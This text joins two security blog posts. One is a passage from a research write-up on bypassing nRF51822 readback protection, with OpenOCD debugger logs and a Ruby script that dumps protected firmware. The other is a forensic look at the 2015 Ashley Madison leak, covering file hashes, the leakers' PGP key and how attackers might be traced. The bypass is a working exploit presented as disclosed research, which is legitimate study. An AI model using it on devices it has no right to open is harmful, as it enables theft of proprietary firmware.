xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg pc 0x00011500
pc (/32): 0x00011500
> step
target state: halted
target halted due to single-step, current mode: Thread 
xPSR: 0xc1000000 pc: 0x00011502 msp: 0x20001bd0

We can also read a few of the memory-mapped configuration registers. Here we are reading a register named “RBPCONF” (short for readback protection) in a collection of registers named “UICR” (User Information Configuration Registers); you can find the address of this register in the nRF51 Series Reference Manual:

> mdw 0x10001004
0x10001004: ffff00ff

According to the manual, a value of 0xffff00ff in the RBPCONF register means “Protect all” (PALL) is enabled (bits 15..8, labeled “B” in this table, are set to 0), and “Protect region 0” (PR0) is disabled (bits 7..0, labeled “A”, are set to1):

The PALL feature being enabled is what is responsible for preventing us from accessing the code section and subsequently causing our read commands to return zeros.

The other protection feature, PR0, is not enabled in this case, but it’s worth mentioning because the protection bypass discussed in this article could bypass PR0 as well. If enabled, it would prevent the debugger from reading memory below a configurable address. Note that flash (and therefore the firmware we want) exists at a lower address than RAM. PR0 also prevents code running outside of the protected region from reading any data within the protected region.

Unfortunately, it is not possible to disable PALL without erasing the entire chip, wiping away the firmware with it. However, it is possible to bypass this readback protection by leveraging our debug access to the CPU.

Devising a Protection Bypass

An initial plan to dump the firmware via a debugging interface might be to load some code into RAM that reads the firmware from flash into a RAM buffer that we could then read. However, we don’t have access to RAM because PALL is enabled. Even if PALL were disabled, PR0 could have been enabled, which would prevent our code in RAM (which would be the unprotected region) from reading flash (in the protected region). This plan won’t work if either PALL or PR0 is enabled.

To bypass the memory protections, we need a way to read the protected data and we need a place to write it that we can access. In this case, only code that exists in protected memory can read protected memory. So our method of reading data will be to jump to an instruction in protected memory using our debugger access, and then to execute that instruction. The instruction will read the protected data into a CPU register, at which time we can then read the value out of the CPU register using our debugger access. How do we know what instruction to jump to? We’ll have to blindly search protected memory for a load instruction that will read from an address we supply in a register. Once we’ve found such an instruction, we can exploit it to read out all of the firmware.

Finding a Load Instruction

Our debugger access lets us write to the pc register in order to jump to any instruction, and it lets us single step the instruction execution. We can also read and write the contents of the general purpose CPU registers. In order to read from the protected memory, we have to find a load word instruction with a register operand, set the operand register to a target address, and execute that one instruction. Since we can’t read the flash, we don’t know what instructions are where, so it might seem difficult to find the right instruction. However, all we need is an instruction that reads memory from an address in some register to a register, which is a pretty common operation. A load word instruction would work, or a pop instruction, for example.

We can search for the right instruction using trial and error. First, we set the program counter to somewhere we guess a useful instruction might be. Then, we set all the CPU registers to an address we’re interested in and then single step. Next we examine the registers. If we are lucky, the instruction we just executed loaded data from an address stored in another register. If one of the registers has changed to a value that might exist at the target address, then we may have found a useful load instruction.

We might as well start at the reset vector – at least we know there are valid instructions there. Here we’re resetting the CPU, setting the general purpose registers and stack pointer to zero (the address we’re trying), and single stepping, then examining the registers:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> reg r0 0x00000000
r0 (/32): 0x00000000
> reg r1 0x00000000
r1 (/32): 0x00000000
> reg r2 0x00000000
r2 (/32): 0x00000000
> reg r3 0x00000000
r3 (/32): 0x00000000
> reg r4 0x00000000
r4 (/32): 0x00000000
> reg r5 0x00000000
r5 (/32): 0x00000000
> reg r6 0x00000000
r6 (/32): 0x00000000
> reg r7 0x00000000
r7 (/32): 0x00000000
> reg r8 0x00000000
r8 (/32): 0x00000000
> reg r9 0x00000000
r9 (/32): 0x00000000
> reg r10 0x00000000
r10 (/32): 0x00000000
> reg r11 0x00000000
r11 (/32): 0x00000000
> reg r12 0x00000000
r12 (/32): 0x00000000
> reg sp 0x00000000
sp (/32): 0x00000000
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 00000000
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000000
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x10001014
(4) r4 (/32): 0x00000000
(5) r5 (/32): 0x00000000
(6) r6 (/32): 0x00000000
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x00000000
(9) r9 (/32): 0x00000000
(10) r10 (/32): 0x00000000
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000000
(13) sp (/32): 0x00000000
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114CE
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000000
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

Looks like r3 was set to 0x10001014. Is that the value at address zero? Let’s see what happens when we load the registers with four instead:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> reg r0 0x00000004
r0 (/32): 0x00000004
> reg r1 0x00000004
r1 (/32): 0x00000004
> reg r2 0x00000004
r2 (/32): 0x00000004
> reg r3 0x00000004
r3 (/32): 0x00000004
> reg r4 0x00000004
r4 (/32): 0x00000004
> reg r5 0x00000004
r5 (/32): 0x00000004
> reg r6 0x00000004
r6 (/32): 0x00000004
> reg r7 0x00000004
r7 (/32): 0x00000004
> reg r8 0x00000004
r8 (/32): 0x00000004
> reg r9 0x00000004
r9 (/32): 0x00000004
> reg r10 0x00000004
r10 (/32): 0x00000004
> reg r11 0x00000004
r11 (/32): 0x00000004
> reg r12 0x00000004
r12 (/32): 0x00000004
> reg sp 0x00000004
sp (/32): 0x00000004
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x00000004
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000004
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x00000004
(3) r3 (/32): 0x10001014
(4) r4 (/32): 0x00000004
(5) r5 (/32): 0x00000004
(6) r6 (/32): 0x00000004
(7) r7 (/32): 0x00000004
(8) r8 (/32): 0x00000004
(9) r9 (/32): 0x00000004
(10) r10 (/32): 0x00000004
(11) r11 (/32): 0x00000004
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x00000004
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114CE
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000004
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

Nope, r3 gets the same value, so we’re not interested in the first instruction. Let’s continue on to the second:

> reg r0 0x00000000
r0 (/32): 0x00000000
> reg r1 0x00000000
r1 (/32): 0x00000000
> reg r2 0x00000000
r2 (/32): 0x00000000
> reg r3 0x00000000
r3 (/32): 0x00000000
> reg r4 0x00000000
r4 (/32): 0x00000000
> reg r5 0x00000000
r5 (/32): 0x00000000
> reg r6 0x00000000
r6 (/32): 0x00000000
> reg r7 0x00000000
r7 (/32): 0x00000000
> reg r8 0x00000000
r8 (/32): 0x00000000
> reg r9 0x00000000
r9 (/32): 0x00000000
> reg r10 0x00000000
r10 (/32): 0x00000000
> reg r11 0x00000000
r11 (/32): 0x00000000
> reg r12 0x00000000
r12 (/32): 0x00000000
> reg sp 0x00000000
sp (/32): 0x00000000
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 00000000
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000000
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x20001BD0
(4) r4 (/32): 0x00000000
(5) r5 (/32): 0x00000000
(6) r6 (/32): 0x00000000
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x00000000
(9) r9 (/32): 0x00000000
(10) r10 (/32): 0x00000000
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000000
(13) sp (/32): 0x00000000
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114D0
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000000
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

OK, this time r3 was set to 0x20001BD0. Is that the value at address zero? Let’s see what happens when we run the second instruction with the registers set to 4:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg r0 0x00000004
r0 (/32): 0x00000004
> reg r1 0x00000004
r1 (/32): 0x00000004
> reg r2 0x00000004
r2 (/32): 0x00000004
> reg r3 0x00000004
r3 (/32): 0x00000004
> reg r4 0x00000004
r4 (/32): 0x00000004
> reg r5 0x00000004
r5 (/32): 0x00000004
> reg r6 0x00000004
r6 (/32): 0x00000004
> reg r7 0x00000004
r7 (/32): 0x00000004
> reg r8 0x00000004
r8 (/32): 0x00000004
> reg r9 0x00000004
r9 (/32): 0x00000004
> reg r10 0x00000004
r10 (/32): 0x00000004
> reg r11 0x00000004
r11 (/32): 0x00000004
> reg r12 0x00000004
r12 (/32): 0x00000004
> reg sp 0x00000004
sp (/32): 0x00000004
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x00000004
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000004
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x00000004
(3) r3 (/32): 0x000114CD
(4) r4 (/32): 0x00000004
(5) r5 (/32): 0x00000004
(6) r6 (/32): 0x00000004
(7) r7 (/32): 0x00000004
(8) r8 (/32): 0x00000004
(9) r9 (/32): 0x00000004
(10) r10 (/32): 0x00000004
(11) r11 (/32): 0x00000004
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x00000004
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114D0
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000004
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

This time, r3 got 0x00014CD. This value actually strongly implies we’re reading memory. Why? The value is actually the reset vector. According to the Cortex-M0 documentation, the reset vector is at address 4, and when we reset the chip, the PC is set to 0x000114CC (the least significant bit is set in the reset vector, changing C to D, because the Cortex-M0 operates in Thumb mode).

Let’s try reading the two instructions we just were testing:

reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg r0 0x000114cc
r0 (/32): 0x000114CC
> reg r1 0x000114cc
r1 (/32): 0x000114CC
> reg r2 0x000114cc
r2 (/32): 0x000114CC
> reg r3 0x000114cc
r3 (/32): 0x000114CC
> reg r4 0x000114cc
r4 (/32): 0x000114CC
> reg r5 0x000114cc
r5 (/32): 0x000114CC
> reg r6 0x000114cc
r6 (/32): 0x000114CC
> reg r7 0x000114cc
r7 (/32): 0x000114CC
> reg r8 0x000114cc
r8 (/32): 0x000114CC
> reg r9 0x000114cc
r9 (/32): 0x000114CC
> reg r10 0x000114cc
r10 (/32): 0x000114CC
> reg r11 0x000114cc
r11 (/32): 0x000114CC
> reg r12 0x000114cc
r12 (/32): 0x000114CC
> reg sp 0x000114cc
sp (/32): 0x000114CC
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x000114cc
> reg r3
r3 (/32): 0x681B4B13

The r3 register has the value 0x681B4B13. That disassembles to two load instructions, the first relative to the pc, the second relative to r3:

$ printf "x13x4bx1bx68" > /tmp/armcode

$ arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm /tmp/armcode




/tmp/armcode:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   4b13            ldr     r3, [pc, #76]   ; (0x50)
   2:   681b            ldr     r3, [r3, #0]

In case you don’t read Thumb assembly, that second instruction is a load register instruction (ldr); it’s taking an address from the r3 register, adding an offset of zero, and loading the value from that address into the r3 register.

We’ve found a load instruction that lets us read memory from an arbitrary address. Again, this is useful because only code in the protected memory can read the protected memory. The trick is that being able to read and write CPU registers using OpenOCD lets us execute those instructions however we want. If we hadn’t been lucky enough to find the load word instruction so close to the reset vector, we could have reset the processor and written a value to the pc register (jumping to an arbitrary address) to try more instructions. Since we were lucky though, we can just step through the first instruction.

Dumping the Firmware

Now that we’ve found a load instruction that we can execute to read from arbitrary addresses, our firmware dumping process is as follows:

1. Reset the CPU
2. Single step (we don’t care about the first instruction)
3. Put the address we want to read from into r3
4. Single step (this loads from the address in r3 to r3)
5. Read the value from r3

Here’s a ruby script to automate the process:

#!/usr/bin/env ruby

require 'net/telnet'

debug = Net::Telnet::new("Host" => "localhost", 
                         "Port" => 4444)

dumpfile = File.open("dump.bin", "w")

((0x00000000/4)...(0x00040000)/4).each do |i|
  address = i * 4
  debug.cmd("reset halt")
  debug.cmd("step")
  debug.cmd("reg r3 0x#{address.to_s 16}")
  debug.cmd("step")
  response = debug.cmd("reg r3")
  value = response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16
  dumpfile.write([value].pack("V"))
  puts "0x%08x:  0x%08x" % [address, value]
end

dumpfile.close
debug.close

The ruby script connects to the OpenOCD user interface, which is available via a telnet connection on localhost. It then loops through addresses that are multiples of four, using the load instruction we found to read data from those addresses.

Vendor Response

Conclusion

Once we have a copy of the firmware image, we can do whatever disassembly or reverse engineering we want with it. We can also now disable the chip’s PALL protection in order to more easily debug the code. To disable PALL, you need to erase the chip, but that’s not a problem since we can immediately re-flash the chip using the dumped firmware. Once that the chip has been erased and re-programmed to disable the protection we can freely use the debugger to: read and write RAM, set breakpoints, and so on. We can even attach GDB to OpenOCD, and debug the firmware that way.

The technique described here won’t work on all microcontrollers or SoCs; it only applies to situations where you have access to a debugging interface that can read and write CPU registers but not protected memory. Despite the limitation though, the technique can be used to dump firmware from nRF51822 chips and possibly others that use similar protections. We feel this is a vulnerability in the design of the nRF51822 code protection.

Are you using other cool techniques to dump firmware? Do you know of any other microcontrollers or SoCs that might be vulnerable to this type of code protection bypass? Let us know in the comments.

The post Firmware dumping technique for an ARM Cortex-M0 SoC appeared first on Include Security Research Blog.

———–[Intro]

So Ashley Madison(AM) got hacked, it was first announced about a month ago and the attackers claimed they’d drop the full monty of user data if the AM website did not cease operations. The AM parent company Avid Life Media(ALM) did not cease business operations for the site and true to their word it seems the attackers have leaked everything they promised on August 18th 2015 including:

• full database dumps of user data
• emails
• internal ALM documents
• as well as a limited number of user passwords

Back in college I used to do forensics contests for the “Honey Net Project” and thought this might be a fun nostalgic trip to try and recreate my pseudo-forensics investigation style on the data within the AM leak.

Disclaimer: I will not be releasing any personal or confidential information
within this blog post that may be found in the AM leak. The purpose of
this blog post is to provide an honest holistic forensic analysis and minimal
statistical analysis of the data found within the leak. Consider this a
journalistic exploration more than anything.

Also note, that the credit card files were deleted and not reviewed as part of this write-up

———–[Grabbing the Leak]

First we go find where on the big bad dark web the release site is located. Thankfully knowing a shady guy named Boris pays off for me, and we find a torrent file for the release of the August 18th Ashley Madison user data dump. The torrent file we found has the following SHA1 hash.
e01614221256a6fec095387cddc559bffa832a19  impact-team-ashley-release.torrent

After extracting all the files we have the following sizes and
file hashes for evidence audit purposes:

$  du -sh *
4.0K    74ABAA38.txt
9.5G    am_am.dump
2.6G    am_am.dump.gz
4.0K    am_am.dump.gz.asc
13G     aminno_member.dump
3.1G    aminno_member.dump.gz
4.0K    aminno_member.dump.gz.asc
1.7G    aminno_member_email.dump
439M    aminno_member_email.dump.gz
4.0K    aminno_member_email.dump.gz.asc
111M    ashleymadisondump/
37M     ashleymadisondump.7z
4.0K    ashleymadisondump.7z.asc
278M    CreditCardTransactions.7z
4.0K    CreditCardTransactions.7z.asc
2.3G    member_details.dump
704M    member_details.dump.gz
4.0K    member_details.dump.gz.asc
4.2G    member_login.dump
2.7G    member_login.dump.gz
4.0K    member_login.dump.gz.asc
4.0K    README
4.0K    README.asc

$ sha1sum *
a884c4fcd61e23aecb80e1572254933dc85e2b4a  74ABAA38.txt
e4ff3785dbd699910a512612d6e065b15b75e012  am_am.dump
e0020186232dad71fcf92c17d0f11f6354b4634b  am_am.dump.gz
b7363cca17b05a2a6e9d8eb60de18bc98834b14e  am_am.dump.gz.asc
d412c3ed613fbeeeee0ab021b5e0dd6be1a79968  aminno_member.dump
bc60db3a78c6b82a5045b797e6cd428f367a18eb  aminno_member.dump.gz
8a1c328142f939b7f91042419c65462ea9b2867c  aminno_member.dump.gz.asc
2dcb0a5c2a96e4f3fff5a0a3abae19012d725a7e  aminno_member_email.dump
ab5523be210084c08469d5fa8f9519bc3e337391  aminno_member_email.dump.gz
f6144f1343de8cc51dbf20921e2084f50c3b9c86  aminno_member_email.dump.gz.asc
sha1sum: ashleymadisondump: Is a directory
26786cb1595211ad3be3952aa9d98fbe4c5125f9  ashleymadisondump.7z
eb2b6f9b791bd097ea5a3dca3414a3b323b8ad37  ashleymadisondump.7z.asc
0ad9c78b9b76edb84fe4f7b37963b1d956481068  CreditCardTransactions.7z
cb87d9fb55037e0b1bccfe50c2b74cf2bb95cd6c  CreditCardTransactions.7z.asc
11e646d9ff5d40cc8e770a052b36adb18b30fd52  member_details.dump
b4849cec980fe2d0784f8d4409fa64b91abd70ef  member_details.dump.gz
3660f82f322c9c9e76927284e6843cbfd8ab8b4f  member_details.dump.gz.asc
436d81a555e5e028b83dcf663a037830a7007811  member_login.dump
89fbc9c44837ba3874e33ccdcf3d6976f90b5618  member_login.dump.gz
e24004601486afe7e19763183934954b1fc469ef  member_login.dump.gz.asc
4d80d9b671d95699edc864ffeb1b50230e1ec7b0  README
a9793d2b405f31cc5f32562608423fffadc62e7a  README.asc

———–[Attacker Identity & Attribution]

The attackers make it clear they have no desire to bridge their dark web identities with their real-life identities and have taken many measures to ensure this does not occur.

The torrent file and messaging were released via the anonymous Tor network through an Onion web server which serves only HTML/TXT content. If the attacker took proper OPSEC precautions while setting up the server, law enforcement and AM may never find them. That being said hackers have been known to get sloppy and slip up their OPSEC. The two most famous cases of this were when Sabu of Anonymous and separately the Dread Pirate Roberts of SilkRoad; were both caught even though they primarily used Tor for their internet activities.

Within the dump we see that the files are signed with PGP. Signing a file in this manner is a way of saying “I did this” even though we don’t know the real-life identity of the person/group claiming to do this is (there is a bunch of crypto and math that makes this possible.) As a result we can be more confident that if there are files which are signed by this PGP key, then it was released by the same person/group.

In my opinion, this is done for two reasons. First the leaker wants to claim responsibility in an identity attributable manner, but not reveal their real-life identity. Secondly, the leaker wishes to dispel statements regarding “false leaks” made by the Ashley Madison team. The AM executive and PR teams have been in crises communications mode explaining that there have been many fake leaks.

The “Impact Team” is using the following public PGP key to sign their releases.

$ cat ./74ABAA38.txt

-----BEGIN PGP PUBLIC KEY BLOCK-----

Version: GnuPG v1.4.12 (GNU/Linux)




mQINBFW25a4BEADt5OKS5F36aACyyPc4UMZAnhLnbImhxv5A2n7koTKg1QhyA1mI
InLLriKW3GR0Y4Fx+84pvjbYdoJAnuqMemI0oP+2VAJqwC0LYVVcFHKK6ZElYiN8
4/3e5WWYv6vzrHwB+3NbQ1O9bbUjgk9ky2RsdTe+vDBhKwKS0kPSb28h0oMpAs87
pJcgWZ57jjtvyUEIKXQZAqLvFo5xayS8dEp8tRgNLauQ0SafKGsxjW5cRd2Ok3Z5
QtIS44WnYECe3tqqFYSOo4kdHBeswC8zaKapYaNzxsHw9msdZvx/rkrMgXtJye/o
vmf2RdLIcvqK0Nwf1LDLhweCBP61wVn8gWqSrzww+as1ObE6b64hYKHFzdIMcqJ3
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g/Ax+06Eez4rVnY+xeW6Tj+1iBAlrGRIcRHCX89fNwLxr4Bcq/q1KKrCwVsgonBK
+3Mzzs2/b9XQ/Z6bDHFnMWUTDhomBmNcZOz9sHrZZI9XUzx/bfS6CoQ3MIqDhNM+
l7cKZ/Icfs6IDoOsYIS3QeTWC8gv3IBTvtfKFnf1o6JnkP0Qv6SrckslztNA4HDL
2iIMMGs34vDc11ddTzMBBkig1NgtiaHqHhG5T8OoOD9c3hEmTQzir7iCPQARAQAB
tCRJbXBhY3QgVGVhbSA8aW1wYWN0dGVhbUBtYWlsdG9yLm5ldD6JAjgEEwECACIF
AlW25a4CGwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJECQ3PNV0q6o445UQ
AKYIVyrpVKKBA4jliarqngKvkEBRd62CXHY42ZdjFmubLvRw5nC0nDdGUyGPRYOl
0RddL2C7ROqW9lCYfNl3BAQYEXMADDjoBMEQkepIxeIVehat46ksbJuFZ0+uI6EB
aVcJCR4S2C+hJP09q9tn/7RKacIolfeT0+s9IteFghKKK0c8Aot52A/hExrqjldo
fsMX6liSFQjDQpPhQpqiAJ8z9N3eeFwcAAc/gqNz9bE0Wug/OXh0OAHUQk3fS57a
uIi8medOr+kAqHziuO79+5Hkachsp+8c58jBtIzZM4bO6e42aEa2yHv0FGG5MhoB
x7MH0ympFdwbgebpF6kpH371GIsJcyumwQ3Yn4Sy2kp2XmB8xOQo2W8tWRtLW1dI
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YSnru0Qrl7JeATekWM3w8sKs8r6yMEDFAcpK2NHaYzF6/o6t/HEqUWD41DZ2cqqg
9i4uoXpkAB3vAG/snNg1B8g89b3vbVUf6hSIcU89G3lgj9hh87Q/TSsISRJ+yq0N
sLEeVmDmOdf+xb44g3RuRJ9yh0h3j8jdQOq0FvvwW3UHKIVDQlFB3kgHY478TCIa
5MMCtMovGv/ukGKlU8aELKV0/sVsliMh8HDdFQICTd0MuQINBFW25a4BEADIh8Vg
tMGfByY/+IgPd9l3u0I4FZLHqKGKOIpfFEeA31jPAhfOqQyBRcnEN/TxLwJ8NLnL
+GdQ+0z1YncZPxpHU/z8zyMwGpZM/hMbkixA9ysyu06S7hna4YMfifT+lOe1lGSo
Tz3Fz1u2OGH+2UzVk5+Rv0FqDl6X1ZoqhMTswzW0jYR7JLLJip5MTMrLD0rSl0b5
a2XvF9Tpjzy9KWubsJk4W7x00Egu2EU9NhEZXaY18H3rxvYgXT7JMjq/y+IUp2Cd
Bv/XCNWmzl66/ZSLC8hzlcxmAYpmBkxafYNdptMeVzsH/xHmN2zSFjuBNx0Mkk+R
TrOxK/boS9onrGsSQ3zItWJAmodo2qYFjlirtu9pURSdYEINNQ5DgWymg43iAIfp
Xp5/yGBj4BlWE80qEAVsBB2BIRs7QHvpd34xETP08dXMsswIrMn/XxvHumyPoimj
mcNvIpvnAZqt6xppo6BSZ3y7MU4cSIRsZzLuSvkwGk97Jv2sMNvXlPRxzpU9ozsI
iYJAk6/n8kbQiTJk/SeiCTbf6e+BzbZbgIE3O9iPKhfW+6zWjC4TL+lBeyWTy1PP
PcQTT+najDqIwysz2BFuPozwuUQsnfQnyRytSjcI5m1fDoYpJPH8NNRIu9lzp+RN
YENVKXiCfnUCMCnSzxP3Kij3Wt227JLZQqnBUQARAQABiQIfBBgBAgAJBQJVtuWu
AhsMAAoJECQ3PNV0q6o4C2EP/29Bis5Skt9NxHVUBpC1OgRL8V+JD5TjNurMT6Pu
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qoJztVzLRnMd2gZjOj6wajUy616b8u3Q3zovHcEKll5niUyNwHXovZcCzukFqJBF
a3JU/tkPvBuj2PEWf4ytuO6He2ERuSnsi+7mil8rTAAV/PPy7N2R/T7OUa6ERoGg
hqIGythWizRtZBVPRzush+8L181GBU2ps7nJ1resZ7T0OsCFL67J6t8r8IpmjWWt
fiiV05E71UAyNWLOWriS57qAwNcQ0W2UYKkFFKor+oWaBB+hCpvb8Za5867wpH8l
O6gpS/G17e+MKHTn60hw64xIVFJn7pka+OdAINjPRo5B5qVyvM3puEjRepx1piOG
HKOan00quI0dhF2Gia59zrBHK/agdF4FjkJSjER8uf/jJpo184p38zuQ7kyMXUxY
ExpGcVMVjVOoWKVRPGXYEz2nc9HIZ6mHbvhzsWQEAVwwIxZCos5dW1AMW3Otn30A
uFqPsx4jh/ANGhqUASz18bBrZ8DW3zceVs2zelkMpdL0z7ifU/UNn2rtDlpgLwFl
9ggUtPwXnSxqB7doSxfJyPJUum+bZxMb4Iq5BNNa/tme7TeWGl9bmsVwcQXSQlY2
uZnr
=v0qe
-----END PGP PUBLIC KEY BLOCK-----

The key has the following Meta-data below.

Old: Public Key Packet(tag 6)(525 bytes)
        Ver 4 - new
        Public key creation time - Mon Jul 27 22:15:10 EDT 2015
        Pub alg - RSA Encrypt or Sign(pub 1)
        RSA n(4096 bits) - ...
        RSA e(17 bits) - ...
Old: User ID Packet(tag 13)(36 bytes)
        User ID - Impact Team <[email protected]>
Old: Signature Packet(tag 2)(568 bytes)
        Ver 4 - new
        Sig type - Positive certification of a User ID and Public Key packet(0x13).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Mon Jul 27 22:15:10 EDT 2015
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to certify other keys
                Flag - This key may be used to sign data
        Hashed Sub: preferred symmetric algorithms(sub 11)(5 bytes)
                Sym alg - AES with 256-bit key(sym 9)
                Sym alg - AES with 192-bit key(sym 8)
                Sym alg - AES with 128-bit key(sym 7)
                Sym alg - CAST5(sym 3)
                Sym alg - Triple-DES(sym 2)
        Hashed Sub: preferred hash algorithms(sub 21)(5 bytes)
                Hash alg - SHA256(hash 8)
                Hash alg - SHA1(hash 2)
                Hash alg - SHA384(hash 9)
                Hash alg - SHA512(hash 10)
                Hash alg - SHA224(hash 11)
        Hashed Sub: preferred compression algorithms(sub 22)(3 bytes)
                Comp alg - ZLIB <RFC1950>(comp 2)
                Comp alg - BZip2(comp 3)
                Comp alg - ZIP <RFC1951>(comp 1)
        Hashed Sub: features(sub 30)(1 bytes)
                Flag - Modification detection (packets 18 and 19)
        Hashed Sub: key server preferences(sub 23)(1 bytes)
                Flag - No-modify
        Sub: issuer key ID(sub 16)(8 bytes)
                Key ID - 0x24373CD574ABAA38
        Hash left 2 bytes - e3 95
        RSA m^d mod n(4096 bits) - ...
                -> PKCS-1
Old: Public Subkey Packet(tag 14)(525 bytes)
        Ver 4 - new
        Public key creation time - Mon Jul 27 22:15:10 EDT 2015
        Pub alg - RSA Encrypt or Sign(pub 1)
        RSA n(4096 bits) - ...
        RSA e(17 bits) - ...
Old: Signature Packet(tag 2)(543 bytes)
        Ver 4 - new
        Sig type - Subkey Binding Signature(0x18).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Mon Jul 27 22:15:10 EDT 2015
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to encrypt communications
                Flag - This key may be used to encrypt storage
        Sub: issuer key ID(sub 16)(8 bytes)
                Key ID - 0x24373CD574ABAA38
        Hash left 2 bytes - 0b 61
        RSA m^d mod n(4095 bits) - ...
                -> PKCS-1

We can verify the released files are attributable to the PGP public key
in question using the following commands:

$ gpg --import ./74ABAA38.txt
$ gpg --verify ./member_details.dump.gz.asc ./member_details.dump.gz
gpg: Signature made Sat 15 Aug 2015 11:23:32 AM EDT using RSA key ID 74ABAA38
gpg: Good signature from "Impact Team <[email protected]>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 6E50 3F39 BA6A EAAD D81D  ECFF 2437 3CD5 74AB AA38

This also tells us at what date the dump was signed and packaged.

———–[Catching the attackers]

The PGP key’s meta-data shows a user ID for the mailtor dark web email service. The last known location of which was:
http://mailtoralnhyol5v.onion

Don’t bother emailing the email address found in the PGP key as it does not have a valid MX record. The fact that this exists at all seems to be one of those interesting artifact of what happens when Internet tools like GPG get used on the dark web.

If the AM attackers were to be caught; here (in no particular order) are the most likely ways this would happen:

• The person(s) responsible tells somebody. Nobody keeps something like this a secret, if the attackers tell anybody, they’re likely going to get caught.
• If the attackers review email from a web browser, they might get revealed via federal law enforcement or private investigation/IR teams hired by AM. The FBI is known to have these capabilities.
• If the attackers slip up with their diligence in messaging only via TXT and HTML on the web server. Meta-data sinks ships kids — don’t forget.
• If the attackers slip up with their diligence on configuring their server. One bad config of a web server leaks an internal IP, or worse!
• The attackers slipped up during their persistent attack against AM and investigators hired by AM find evidence leading back to the attackers.
• The attackers have not masked their writing or image creation style and leave some semantic finger print from which they can be profiled.

